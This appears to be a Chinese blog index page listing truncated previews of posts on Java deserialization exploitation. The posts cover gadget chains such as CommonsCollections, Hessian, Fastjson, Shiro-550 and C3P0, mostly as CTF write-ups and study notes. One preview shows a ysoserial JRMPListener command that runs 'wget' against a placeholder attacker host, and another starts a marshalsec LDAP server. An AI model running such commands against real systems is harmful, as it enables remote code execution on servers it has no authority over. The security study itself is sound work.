Java反序列化

2024/4/23 5:16:05

【Web】Java反序列化之CB1链花样调TemplatesImpl打Shiro

目录 关于commons-beanutils 关于PropertyUtils.getProperty TemplatesImpl实例化类的调用链路 TemplatesImpl#getOutputProperties竟是getter方法 接轨TemplatesImpl链的关键类——BeanComparator exp 无依赖的Shiro反序列化利用链 关于commons-beanutils Apache Comm…

【Web】记录[MTCTF 2022]easyjava题目复现

目录 前言 简单分析 EXP 前言 nss靶场又寄了,这题环境应该是jdk8,它镜像给了jdk21,卡了我半天,最后还得是自己改Dockerfile,啊哈哈哈,这题端上来怎么都不做啊( 环境:GitHub - CTF-Archives…

【Web】浅聊XStream反序列化之SortedSetTreeMap利用链

前文:【Web】浅聊XStream反序列化本源之恶意动态代理注入-CSDN博客 前言 在上一篇文章我们聊到可以用XStream反序列化来进行恶意动态代理的注入,但其有一个很大的限制就是必须要知道目标靶机会调用哪个接口的方法,才能去相应地精心构造对应…

【Web】CTFSHOW java反序列化刷题记录(部分)

目录 web846 web847 web848 web849 web850 web856 web857 web858 web846 直接拿URLDNS链子打就行 import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.lang.reflect.F…

【Web】浅聊Hessian异常toString姿势学习复现

目录 前言 利用关键 调用分析 如何控制第一个字节 EXP 前言 Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也! 这个CVE针对的是Hessian2I…

【Web】浅聊Java反序列化之Spring2链——两层动态代理

目录 简介 简话JdkDynamicAopProxy 关于target的出身——AdvisedSupport EXP 请确保已阅读过前文或对Spring1链至少有一定认知:【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客 简介 Spring2 和 Spring1 的反序列化过程基本相同,唯一…

【心得】java从CC1链入门CC链个人笔记

来劲了,感觉离真正的CTF又近了一步。 本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。 目录 CC链概念 CC链学习前置知识 CC1链 Version1 Version2 Version3 CC链概念 CC链 Commons Collections apache组织发布的开源库 里面主要对…

ysoserial的代码学习

反序列化漏洞利用神器:ysoserial 0x01 ysoserial 工具模块 我们以为shiro远程加载反序列化数据的利用场景为例: java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 wget http://xxx.xxx.xxx.xxx:…

【Web】Java反序列化之CB1链花样调TemplatesImpl

前文:【Web】Java反序列化之CC2——commons-collections4的新链之一 目录 关于commons-beanutils 关于PropertyUtils.getProperty TemplatesImpl实例化类的调用链路 TemplatesImpl#getOutputProperties竟是getter方法 接轨TemplatesImpl链的关键类——BeanCom…

【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用

目录 简要原理分析 exp 前文:【Web】速谈FastJson反序列化中TemplatesImpl的利用 简要原理分析 前文的TemplatesImpl链存在严重限制,即JSON.parseObject()需要开启Feature.SupportNonPublicField fastjson的第二条链JdbcRowSetImpl,主要…

【Web】速谈FastJson反序列化中BasicDataSource的利用

目录 关于BCEL BCEL的恶意利用demo FastJson配合BCEL初始化任意类 parse情况下后天精心构造弥补先天之不足 exp 参考文章: BCEL ClassLoader去哪了 Java动态类加载,当FastJson遇到内网 关于BCEL BCEL(Byte Code Engineering Library)的全名是Apa…

【Web】Java反序列化之CC7链——Hashtable

目录 链子原理分析(借尸还魂) 如何构造相等hash 又谈为何lazyMap2.remove("yy") 不过真的需要两个LazyMap吗 EXP 双LazyMap exp HashMap&LazyMap exp 链子原理分析(借尸还魂) 先看Hashtable#readObject origlength和elements分别是原始数组的长度和元素…

【Web】速谈FastJson反序列化中TemplatesImpl的利用

目录 简要原理分析 exp 前文:【Web】关于FastJson反序列化开始前的那些前置知识 简要原理分析 众所周知TemplatesImpl的利用链是这样的: TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransl…

【Web】浅聊Hessian反序列化之打Rome出网不出网

目录 前言 出网——JdbcRowSetImpl 不出网——SignedObject 打二次反序列化 前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识 前言 正如我们前文所说,当Hessian反序列化Map类型的对象的时候,会自动调用其put方法&#xff…

【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

目录 序列化 反序列化 Hessian1.0 Hessian2.0 Hessian反序列化核心:MapDeserializer#readMap的利用 总结 序列化 HessianOutput&Hessian2Output都是抽象类AbstractHessianOutput的实现类 HessianOutput#writeObject和Hessian2Output#writeObject的写法是…

【Web】Java反序列化之CC6--HashMap版

前文: 【Web】Java反序列化之再看CC1--LazyMap 上面这篇文章提到,只要调用的LazyMap的get方法,就可以最终完成transform的调用。 在高版本下,CC1不再能打通,CC6依然通用,其反序列化入口不再是Annotation…

【Web】Java原生反序列化之jdk7u21——又见动态代理

目录 前言 利用链 简单分析 触发invoke的核心:AnnotationInvocationHandler#equalsImpl 巧用动态代理调用equalsImpl 反序列化的入口:HashSet hash相等构造 为何还是用了LinkedHashSet EXP 前言 jdk7u21这条原生链equals那部分和CC7挺像的(前者…

【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用

目录 简介 原理分析 EXP 前文:【Web】浅聊Java反序列化之C3P0——URLClassLoader利用 简介 不出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化…

【Web】vulhub Shiro-550反序列化漏洞复现学习笔记

目录 Shiro简介 复现流程 工具一把梭 半脚本半手动 原理分析 反序列化入口 常见的key 登录过程 验证过程 利用原理 Shiro简介 Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单…

【Web】浅聊Hessian反序列化之打Spring AOP——JNDI

目录 前言 简单分析 EXP 前言 前文:【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客 前文里最后给到一条HotSwappableTargetSource利用链,就是我们今天PartiallyComparableAdvisorHolder链子的前半段(触发恶意类的toString方法)&#xf…

【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过

目录 前言 原理分析 EXP Hessian2 低版本 直接Runtime命令执行 Hessian2 高版本 利用Unsafe加载恶意字节码二次调用触发初始化 利用TemplatesImpl实例化恶意类 jdk高版本打JNDI 前文:【Web】浅聊Hessian异常toString姿势学习&复现 前言 上篇文章介绍…

【Web】vulhub Fastjson反序列化漏洞复现学习笔记

目录 1.2.24 RCE CVE-2017-18349 复现流程 原理分析 1.2.47 RCE CNVD-2019-22238 复现流程 原理分析 漏洞探测 1.2.24 RCE CVE-2017-18349 复现流程 vulhub启动靶场 用marshalsec启动LDAP/RMI服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRef…

【Web】浅聊Java反序列化之Spring1链——三层动态代理

目录 影响版本: 利用链 漏洞之sink:MethodInvokeTypeProvider#readObject 动态代理在反序列化中的应用 让provider.getType()返回一个动态代理对象——打破桎梏 桥梁——ObjectFactoryDelegatingInvocationHandler 小结 EXP ​前文:【…

【Web】浅聊Java反序列化之Rome——EqualsBeanObjectBean

目录 简介 原理分析 ToStringBean EqualsBean ObjectBean EXP ①EqualsBean直球纯享版 ②EqualsBean配合ObjectBean优化版 ③纯ObjectBean实现版 关于《浅聊Java反序列化》系列,纯是记录自己的学习历程,宥于本人水平有限,内容很水&a…

渗透测试漏洞原理之---【不安全的反序列化】

文章目录 1、序列化与反序列化1.1、引入1.2、序列化实例1.2.1、定义一个类1.2.2、创建 对象1.2.3、反序列化1.2.4、对象注入 2、漏洞何在2.1、漏洞触发2.1.2、定义一个类2.1.3、定义一个对象2.1.3、反序列化执行代码 2.2 为什么会这样 3、反序列化漏洞攻防3.1、PHP反序列化实例…

【心得】java反序列化漏洞利用启蒙个人笔记

目录 前置基础概念 java的反序列化利用概念baby题 例题1 例题2 java反序列化启蒙小结: URLDNS链 一句话总结: 简单分析: 利用点: 示例: 前置基础概念 序列化 类实例->字节流 反序列化 字节流->类实…

【Web】浅聊Java反序列化之C3P0——JNDI注入利用

目录 简介 原理分析 EXP 前文:【Web】浅聊Java反序列化之C3P0——URLClassLoader利用 【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用 简介 出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , …

【Web】浅浅地聊Hessian反序列化有诸多限制的原因

目录 前言 CC6的失效——LazyMap之殇 Rome-TemplatesImpl链的失效——transient之殇 结语 前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识 【Web】浅聊Hessian反序列化之打Rome出网&不出网 前言 注意到很多 Java 原生反序列化利用链在 Hes…

【Web】记录CISCN2023国赛初赛DeserBug题目复现

目录 前言 分析 step0 step1 step2 EXP 总结 前言 Hessian的链子审得有点疲劳,不如做做题吧,挑了国赛入手,整体做下来感觉十分丝滑&水到渠成,自然&通透。 仅仅是记录一下菜鸡做题的感受,不会往深入了…